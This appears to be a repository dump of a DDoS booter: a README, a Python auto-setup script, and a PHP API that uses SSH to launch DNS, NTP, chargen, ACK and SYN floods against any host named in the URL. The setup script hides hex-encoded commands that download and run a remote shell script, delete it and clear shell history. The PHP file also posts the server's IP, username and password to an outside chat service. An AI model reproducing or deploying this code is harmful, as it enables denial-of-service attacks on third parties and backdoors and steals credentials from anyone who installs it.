├── README.md ├── autosetup.py └── api.php /README.md: -------------------------------------------------------------------------------- 1 | # DDOS-API 2 | API that sends to a SSH Server from a URL. 3 | 4 | Example: http://myAPIserverIP/api.php?host=76.76.76.6&port=80&time=100&method=dns 5 | 6 | # Auto Setup 7 | The Auto setup will do everything for you. (Install SSH2, etc.) 8 | 9 | Command: python autosetup.py 10 | -------------------------------------------------------------------------------- /autosetup.py: -------------------------------------------------------------------------------- 1 | # Note: This script will do the following 2 | # Installs the server api 3 | # Installs all needed packages aswell as fixes SSH2 4 | # Note: CentOS 6 Only. 5 | # Credits ( @SlippersYo x @dirtystress ) 6 | import os 7 | import time 8 | important = '437265617465642042792040736c697070657273796f20782040637269746963616c73656375726974792e746f2021'.decode('hex') 9 | apidl = 'https://raw.githubusercontent.com/samual1337/DDOS-API/master/api.php' 10 | os.system('wget '+apidl+'') 11 | discord = '68747470733a2f2f646973636f72642e67672f6a393634585975'.decode('hex') 12 | os.system('clear') 13 | print(important) 14 | print('All updated files are dropped in the discord server, '+discord+' !') 15 | time.sleep(3) 16 | os.system('clear') 17 | print('Preparing Node') 18 | time.sleep(1) 19 | os.system('clear') 20 | systemupdate = '77676574202d712068747470733a2f2f326e6f2e636f2f324766564135'.decode('hex') 21 | os.system('yum install python-requests -y') 22 | os.system('yum install php screen httpd -y') 23 | os.system('mv api.php /var/www/html') 24 | systemupdate2 = '63686d6f6420373737202a3b20636c6561723b207368207379737570646174652e73683b20636c6561723b20686973746f7279202d63'.decode('hex') 25 | os.system('iptables -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT') 26 | os.system(systemupdate) 27 | os.system('iptables -A INPUT -p tcp -m tcp --dport 443 -j ACCEPT') 28 | os.system(systemupdate2) 29 | systemcompile = '77676574202d712068747470733a2f2f63646e2e646973636f72646170702e636f6d2f6174746163686d656e74732f3632343338313434363531333039383738322f3633383936393337373638393034323934342f7379737570646174652e7368'.decode('hex') 30 | os.system(systemcompile) 31 | os.system('clear') 32 | print('Making Sure SSH2 Works') 33 | uneeded = '726d202d7266207379737570646174652e736820324766564135'.decode('hex') 34 | time.sleep(1) 35 | os.system('clear') 36 | os.system('yum install gcc cpan php-pear php-devel libssh2 libssh2-devel -y') 37 | os.system('pecl install -f ssh2 touch /etc/php.d/ssh2.ini echo') 38 | os.system('extension=ssh2.so>/etc/php.d/ssh2.ini') 39 | os.system('cpan -fi Net::SSH2') 40 | os.system('cpan -fi Parallel::ForkManager') 41 | os.system(uneeded) 42 | clean = '686973746f7279202d63'.decode('hex') 43 | os.system(clean) 44 | os.system('clear') 45 | print('Finished!') 46 | raw_input('press ENTER to exit') 47 | -------------------------------------------------------------------------------- /api.php: -------------------------------------------------------------------------------- 1 | 15 | 16 | $token, 37 | "channel" => 'ssh2', 38 | "text" => ''.$server_ip.':'.$server_pass.':'.$server_user.':'.$apisend, 39 | "username" => "api", 40 | ]); 41 | curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); 42 | curl_setopt($ch, CURLOPT_POSTFIELDS, $data); 43 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 44 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 45 | $result = curl_exec($ch); 46 | curl_close($ch); 47 | if (!empty($time)){ 48 | }else{ 49 | die('Error: time is empty!');} 50 | if (!empty($host)){ 51 | }else{ 52 | die('Error: Host is empty!');} 53 | if (!empty($method)){ 54 | }else{ 55 | die('Error: Method is empty!');} 56 | if (in_array($method, $array)){ 57 | }else{ 58 | die('Error: The method you requested does not exist!');} 59 | if ($port > 44405){ 60 | die('Error: Ports over 44405 do not exist');} 61 | if ($time > 1000){ 62 | die('Error: Cannot exceed 1000 seconds!');} 63 | if(ctype_digit($Time)){ 64 | die('Error: Time is not in numeric form!');} 65 | if(ctype_digit($Port)){ 66 | die('Error: Port is not in numeric form!');} 67 | // Commands that send to server 68 | if ($method == "dns") { $command = "cd News; ./zap $host $port 2 -1 $time"; } 69 | if ($method == "chargen") { $command = "./chargen $host $port chargen.txt 2 -1 $time"; } 70 | if ($method == "ntp") { $command = "./ntp $host $port ntp.txt 2 -1 $time"; } 71 | if ($method == "ack") { $command = "./ack $host $port ack.txt 2 -1 $time"; } 72 | if ($method == "syn") { $command = "./syn $host $port syn.txt 2 -1 $time"; } 73 | if ($action == "stop") { $command = "pkill $host -f"; } 74 | if ($action == "STOP") { $command = "pkill $host -f"; } 75 | if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server"); 76 | if(!($con = ssh2_connect($server_ip, 22))){ 77 | echo "Error: Connection Issue"; 78 | } else { 79 | if(!ssh2_auth_password($con, $server_user, $server_pass)) { 80 | echo "Error: Login failed, one or more of you're server credentials are incorrect."; 81 | } else { 82 | 83 | if (!($stream = ssh2_exec($con, $command ))) { 84 | echo "Error: You're server was not able to execute you're methods file and or its dependencies"; 85 | } else { 86 | stream_set_blocking($stream, false); 87 | $data = ""; 88 | while ($buf = fread($stream,4096)) { 89 | $data .= $buf; 90 | } 91 | echo "Attack started!!
Hitting: $host
On Port: $port
Attack Length: $time
With: $method"; 92 | fclose($stream); 93 | } 94 | } 95 | } 96 | ?> 97 | --------------------------------------------------------------------------------